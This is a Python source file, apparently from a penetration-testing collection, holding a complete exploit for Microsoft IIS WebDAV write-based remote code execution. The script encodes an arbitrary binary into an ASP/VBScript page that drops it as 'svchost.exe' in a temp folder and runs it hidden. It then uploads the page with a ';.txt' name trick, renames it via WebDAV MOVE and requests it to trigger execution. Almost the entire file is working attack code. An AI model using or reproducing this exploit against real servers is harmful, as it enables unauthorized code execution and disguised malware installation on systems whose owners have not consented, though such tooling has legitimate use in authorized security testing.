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mgeeky-Penetration-Testing-.../networks/iis_webdav_upload.py

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2018-02-02 22:22:43 +01:00
#!/usr/bin/python
import requests
import string
import random
import sys
def randstring(N = 6):
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N))
if __name__ == '__main__':
if len(sys.argv) != 3:
print 'Usage: webdav_upload.py <host> <inputfile>'
sys.exit(0)
sc = ''
with open(sys.argv[2], 'rb') as f:
bytes = f.read()
sc = 'sc = Chr(%d)' % ord(bytes[0])
for i in range(1, len(bytes)):
if i % 100 == 0:
sc += '\r\nsc = sc'
sc += '&Chr(%d)' % ord(bytes[i])
put_request = '''<%% @language="VBScript" %%>
<%%
Sub webdav_upload()
Dim fs
Set fs = CreateObject("Scripting.FileSystemObject")
Dim str
Dim tmp
Dim tmpexe
Dim sc
%(shellcode)s
Dim base
Set tmp = fs.GetSpecialFolder(2)
base = tmp & "\" & fs.GetTempName()
fs.CreateFolder(base)
tmpexe = base & "\" & "svchost.exe"
Set str = fs.CreateTextFile(tmpexe, 2, 0)
str.Write sc
str.Close
Dim shell
Set shell = CreateObject("Wscript.Shell")
shell.run tmpexe, 0, false
End Sub
webdav_upload
%%>''' % {'shellcode' : sc}
print '\n\tMicrosoft IIS WebDAV Write Code Execution exploit'
print '\t(based on Metasploit HDM\'s <iis_webdav_upload_asp> implementation)'
print '\tMariusz B. / mgeeky, 2016\n'
host = sys.argv[1]
if not host.startswith('http'):
host = 'http://' + host
outname = '/file' + randstring(6) + '.asp;.txt'
print 'Step 0: Checking if file already exist: "%s"' % (host + outname)
r = requests.get(host + outname)
if r.status_code == requests.codes.ok:
print 'Resource already exists. Exiting...'
sys.exit(1)
else:
print '[*] File does not exists. That\'s good.'
print '\nStep 1: Upload file with improper name: "%s"' % (host + outname)
print '\tSending %d bytes, this will take a while. Hold tight Captain!' % len(put_request)
r = requests.request('put', host + outname, data=put_request, headers={'Content-Type':'application/octet-stream'})
if r.status_code < 200 or r.status_code >= 300:
print '[!] Upload failed. Status: ' + str(r.status_code)
sys.exit(1)
else:
print '[+] File uploaded.'
newname = outname.replace(';.txt', '')
print '\nStep 2: Moving file from: "%s" to "%s"' % (outname, newname)
r = requests.request('move', host + outname, headers={'Destination':newname})
if r.status_code < 200 or r.status_code >= 300:
print '[!] Renaming operation failed. Status: ' + str(r.status_code)
sys.exit(1)
else:
print '[+] File renamed, splendid my lord.'
print '\nStep 3: Executing resulted payload file (%s).' % (host + newname)
r = requests.get(host + newname)
if r.status_code < 200 or r.status_code >= 300:
print '[!] Execution failed. Status: ' + str(r.status_code)
print '[!] Response: ' + r.text
sys.exit(1)
else:
print '[+] File has been launched. Game over.'